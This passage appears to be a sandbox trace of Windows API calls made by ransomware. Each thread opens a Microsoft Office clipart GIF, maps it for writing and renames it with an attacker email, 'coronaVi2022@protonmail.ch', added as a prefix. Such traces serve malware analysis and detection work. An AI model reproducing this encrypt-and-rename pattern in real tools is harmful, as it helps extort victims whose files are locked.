	[0107.106] CreateFileMappingA (hFile=0x115c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x202b, lpName=0x0) returned 0x1160
	[0107.106] MapViewOfFile (hFileMappingObject=0x1160, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2360000
	[0107.109] UnmapViewOfFile (lpBaseAddress=0x2360000) returned 1
	[0107.109] CloseHandle (hObject=0x1160) returned 1
	[0107.109] GetCurrentThreadId () returned 0x1f0c
	[0107.109] FlushFileBuffers (hFile=0x115c) returned 1
	[0107.112] CloseHandle (hObject=0x115c) returned 1
	[0107.112] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00703L.gif") returned 110
	[0107.112] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00703L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00703l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00703L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb00703l.gif")) returned 1
	[0107.113] free (_Block=0x51f0070) 
	[0107.113] RtlExitUserThread (Status=0x0) 

Thread:
	id = 935
	os_tid = 0x1f10

	[0107.150] _alloca_probe () returned 0x40328a
	[0107.150] GetCurrentThreadId () returned 0x1f10
	[0107.151] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.gif", dwFileAttributes=0x80) returned 1
	[0107.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1160
	[0107.151] GetFileSizeEx (in: hFile=0x1160, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=8979) returned 1
	[0107.151] CreateFileMappingA (hFile=0x1160, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2315, lpName=0x0) returned 0x114c
	[0107.151] MapViewOfFile (hFileMappingObject=0x114c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.154] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.154] CloseHandle (hObject=0x114c) returned 1
	[0107.154] GetCurrentThreadId () returned 0x1f10
	[0107.154] FlushFileBuffers (hFile=0x1160) returned 1
	[0107.156] CloseHandle (hObject=0x1160) returned 1
	[0107.157] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00760L.gif") returned 110
	[0107.157] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00760L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00760l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00760L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb00760l.gif")) returned 1
	[0107.157] free (_Block=0x51f3088) 
	[0107.157] RtlExitUserThread (Status=0x0) 

Thread:
	id = 936
	os_tid = 0x1f14

	[0107.160] _alloca_probe () returned 0x40328a
	[0107.161] GetCurrentThreadId () returned 0x1f14
	[0107.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.gif", dwFileAttributes=0x80) returned 1
	[0107.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114c
	[0107.162] GetFileSizeEx (in: hFile=0x114c, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=8079) returned 1
	[0107.162] CreateFileMappingA (hFile=0x114c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1f9d, lpName=0x0) returned 0x1164
	[0107.162] MapViewOfFile (hFileMappingObject=0x1164, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.165] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.165] CloseHandle (hObject=0x1164) returned 1
	[0107.165] GetCurrentThreadId () returned 0x1f14
	[0107.165] FlushFileBuffers (hFile=0x114c) returned 1
	[0107.167] CloseHandle (hObject=0x114c) returned 1
	[0107.167] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00780L.gif") returned 110
	[0107.167] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB00780L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb00780l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB00780L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb00780l.gif")) returned 1
	[0107.168] free (_Block=0x51f5098) 
	[0107.168] RtlExitUserThread (Status=0x0) 

Thread:
	id = 937
	os_tid = 0x1f18

	[0107.169] _alloca_probe () returned 0x40328a
	[0107.170] GetCurrentThreadId () returned 0x1f18
	[0107.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.gif", dwFileAttributes=0x80) returned 1
	[0107.170] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1164
	[0107.171] GetFileSizeEx (in: hFile=0x1164, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3613) returned 1
	[0107.171] CreateFileMappingA (hFile=0x1164, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xe29, lpName=0x0) returned 0x1168
	[0107.171] MapViewOfFile (hFileMappingObject=0x1168, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.172] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.172] CloseHandle (hObject=0x1168) returned 1
	[0107.173] GetCurrentThreadId () returned 0x1f18
	[0107.173] FlushFileBuffers (hFile=0x1164) returned 1
	[0107.175] CloseHandle (hObject=0x1164) returned 1
	[0107.175] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB01741L.gif") returned 110
	[0107.175] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB01741L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb01741l.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB01741L.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb01741l.gif")) returned 1
	[0107.176] free (_Block=0x51f3088) 
	[0107.176] RtlExitUserThread (Status=0x0) 

Thread:
	id = 938
	os_tid = 0x1f1c

	[0107.177] _alloca_probe () returned 0x40328a
	[0107.177] GetCurrentThreadId () returned 0x1f1c
	[0107.177] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.gif", dwFileAttributes=0x80) returned 1
	[0107.178] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1168
	[0107.178] GetFileSizeEx (in: hFile=0x1168, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=908) returned 1
	[0107.178] CreateFileMappingA (hFile=0x1168, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x397, lpName=0x0) returned 0x116c
	[0107.178] MapViewOfFile (hFileMappingObject=0x116c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x460000
	[0107.190] UnmapViewOfFile (lpBaseAddress=0x460000) returned 1
	[0107.190] CloseHandle (hObject=0x116c) returned 1
	[0107.190] GetCurrentThreadId () returned 0x1f1c
	[0107.190] FlushFileBuffers (hFile=0x1168) returned 1
	[0107.198] CloseHandle (hObject=0x1168) returned 1
	[0107.198] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02039_.gif") returned 110
	[0107.198] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02039_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02039_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02039_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02039_.gif")) returned 1
	[0107.199] free (_Block=0x51f60a0) 
	[0107.199] RtlExitUserThread (Status=0x0) 

Thread:
	id = 939
	os_tid = 0x1f20

	[0107.180] _alloca_probe () returned 0x40328a
	[0107.180] GetCurrentThreadId () returned 0x1f20
	[0107.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.gif", dwFileAttributes=0x80) returned 1
	[0107.181] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1174
	[0107.181] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=2439) returned 1
	[0107.181] CreateFileMappingA (hFile=0x1174, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x98d, lpName=0x0) returned 0x1178
	[0107.181] MapViewOfFile (hFileMappingObject=0x1178, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x470000
	[0107.182] UnmapViewOfFile (lpBaseAddress=0x470000) returned 1
	[0107.182] CloseHandle (hObject=0x1178) returned 1
	[0107.182] GetCurrentThreadId () returned 0x1f20
	[0107.182] FlushFileBuffers (hFile=0x1174) returned 1
	[0107.191] CloseHandle (hObject=0x1174) returned 1
	[0107.191] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02055_.gif") returned 110
	[0107.191] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02055_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02055_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02055_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02055_.gif")) returned 1
	[0107.196] free (_Block=0x51f3088) 
	[0107.196] RtlExitUserThread (Status=0x0) 

Thread:
	id = 940
	os_tid = 0x1f24

	[0107.185] _alloca_probe () returned 0x40328a
	[0107.185] GetCurrentThreadId () returned 0x1f24
	[0107.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.gif", dwFileAttributes=0x80) returned 1
	[0107.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x117c
	[0107.186] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=893) returned 1
	[0107.186] CreateFileMappingA (hFile=0x117c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x389, lpName=0x0) returned 0x1180
	[0107.186] MapViewOfFile (hFileMappingObject=0x1180, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x470000
	[0107.193] UnmapViewOfFile (lpBaseAddress=0x470000) returned 1
	[0107.193] CloseHandle (hObject=0x1180) returned 1
	[0107.193] GetCurrentThreadId () returned 0x1f24
	[0107.193] FlushFileBuffers (hFile=0x117c) returned 1
	[0107.200] CloseHandle (hObject=0x117c) returned 1
	[0107.200] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02073_.gif") returned 110
	[0107.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02073_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02073_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02073_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02073_.gif")) returned 1
	[0107.201] free (_Block=0x51f5098) 
	[0107.201] RtlExitUserThread (Status=0x0) 

Thread:
	id = 941
	os_tid = 0x1f28

	[0107.187] _alloca_probe () returned 0x40328a
	[0107.188] GetCurrentThreadId () returned 0x1f28
	[0107.188] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.gif", dwFileAttributes=0x80) returned 1
	[0107.188] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1188
	[0107.188] GetFileSizeEx (in: hFile=0x1188, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=1302) returned 1
	[0107.189] CreateFileMappingA (hFile=0x1188, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x51b, lpName=0x0) returned 0x118c
	[0107.189] MapViewOfFile (hFileMappingObject=0x118c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x480000
	[0107.193] UnmapViewOfFile (lpBaseAddress=0x480000) returned 1
	[0107.193] CloseHandle (hObject=0x118c) returned 1
	[0107.193] GetCurrentThreadId () returned 0x1f28
	[0107.193] FlushFileBuffers (hFile=0x1188) returned 1
	[0107.202] CloseHandle (hObject=0x1188) returned 1
	[0107.202] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02074_.gif") returned 110
	[0107.203] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02074_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02074_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02074_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02074_.gif")) returned 1
	[0107.203] free (_Block=0x51f0070) 
	[0107.203] RtlExitUserThread (Status=0x0) 

Thread:
	id = 942
	os_tid = 0x1f30

	[0107.206] _alloca_probe () returned 0x40328a
	[0107.207] GetCurrentThreadId () returned 0x1f30
	[0107.207] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.gif", dwFileAttributes=0x80) returned 1
	[0107.207] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x117c
	[0107.208] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=765) returned 1
	[0107.208] CreateFileMappingA (hFile=0x117c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x309, lpName=0x0) returned 0x1168
	[0107.208] MapViewOfFile (hFileMappingObject=0x1168, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.260] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.260] CloseHandle (hObject=0x1168) returned 1
	[0107.260] GetCurrentThreadId () returned 0x1f30
	[0107.260] FlushFileBuffers (hFile=0x117c) returned 1
	[0107.291] CloseHandle (hObject=0x117c) returned 1
	[0107.292] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02077_.gif") returned 110
	[0107.292] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02077_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02077_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02077_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02077_.gif")) returned 1
	[0107.311] free (_Block=0x51fb0c8) 
	[0107.311] RtlExitUserThread (Status=0x0) 

Thread:
	id = 943
	os_tid = 0x1f34

	[0107.209] _alloca_probe () returned 0x40328a
	[0107.210] GetCurrentThreadId () returned 0x1f34
	[0107.210] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.gif", dwFileAttributes=0x80) returned 1
	[0107.210] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1180
	[0107.210] GetFileSizeEx (in: hFile=0x1180, lpFileSize=0x338ff5c | out: lpFileSize=0x338ff5c*=2454) returned 1
	[0107.210] CreateFileMappingA (hFile=0x1180, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x99b, lpName=0x0) returned 0x118c
	[0107.210] MapViewOfFile (hFileMappingObject=0x118c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2370000
	[0107.262] UnmapViewOfFile (lpBaseAddress=0x2370000) returned 1
	[0107.262] CloseHandle (hObject=0x118c) returned 1
	[0107.262] GetCurrentThreadId () returned 0x1f34
	[0107.262] FlushFileBuffers (hFile=0x1180) returned 1
	[0107.275] CloseHandle (hObject=0x1180) returned 1
	[0107.280] _swprintf (in: param_1=0x3389f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02082_.gif") returned 110
	[0107.280] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02082_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02082_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02082_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02082_.gif")) returned 1
	[0107.288] free (_Block=0x51f5098) 
	[0107.288] RtlExitUserThread (Status=0x0) 

Thread:
	id = 944
	os_tid = 0x1f38

	[0107.212] _alloca_probe () returned 0x40328a
	[0107.212] GetCurrentThreadId () returned 0x1f38
	[0107.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.gif", dwFileAttributes=0x80) returned 1
	[0107.213] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1190
	[0107.213] GetFileSizeEx (in: hFile=0x1190, lpFileSize=0x348ff5c | out: lpFileSize=0x348ff5c*=2316) returned 1
	[0107.213] CreateFileMappingA (hFile=0x1190, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x917, lpName=0x0) returned 0x1194
	[0107.213] MapViewOfFile (hFileMappingObject=0x1194, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2380000
	[0107.214] UnmapViewOfFile (lpBaseAddress=0x2380000) returned 1
	[0107.214] CloseHandle (hObject=0x1194) returned 1
	[0107.214] GetCurrentThreadId () returned 0x1f38
	[0107.214] FlushFileBuffers (hFile=0x1190) returned 1
	[0107.263] CloseHandle (hObject=0x1190) returned 1
	[0107.264] _swprintf (in: param_1=0x3489f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02085_.gif") returned 110
	[0107.264] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02085_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02085_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02085_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02085_.gif")) returned 1
	[0107.287] free (_Block=0x51f60a0) 
	[0107.287] RtlExitUserThread (Status=0x0) 

Thread:
	id = 945
	os_tid = 0x1f3c

	[0107.217] _alloca_probe () returned 0x40328a
	[0107.218] GetCurrentThreadId () returned 0x1f3c
	[0107.218] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.gif", dwFileAttributes=0x80) returned 1
	[0107.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b8
	[0107.272] GetFileSizeEx (in: hFile=0x11b8, lpFileSize=0x358ff5c | out: lpFileSize=0x358ff5c*=1409) returned 1
	[0107.272] CreateFileMappingA (hFile=0x11b8, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x581, lpName=0x0) returned 0x11bc
	[0107.272] MapViewOfFile (hFileMappingObject=0x11bc, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0107.276] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0107.276] CloseHandle (hObject=0x11bc) returned 1
	[0107.276] GetCurrentThreadId () returned 0x1f3c
	[0107.277] FlushFileBuffers (hFile=0x11b8) returned 1
	[0107.298] CloseHandle (hObject=0x11b8) returned 1
	[0107.299] _swprintf (in: param_1=0x3589f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02097_.gif") returned 110
	[0107.299] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02097_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02097_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\coronaVi2022@protonmail.ch___WB02097_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\coronavi2022@protonmail.ch___wb02097_.gif")) returned 1
	[0107.314] free (_Block=0x51f0070) 
	[0107.314] RtlExitUserThread (Status=0x0) 

Thread:
	id = 946
	os_tid = 0x1f40

	[0107.219] _alloca_probe () returned 0x40328a
	[0107.219] GetCurrentThreadId () returned 0x1f40
	[0107.219] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.gif", dwFileAttributes=0x80) returned 1
	[0107.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\Publisher\\Backgrounds\\WB02106_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\publisher\\backgrounds\\wb02106_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11b0
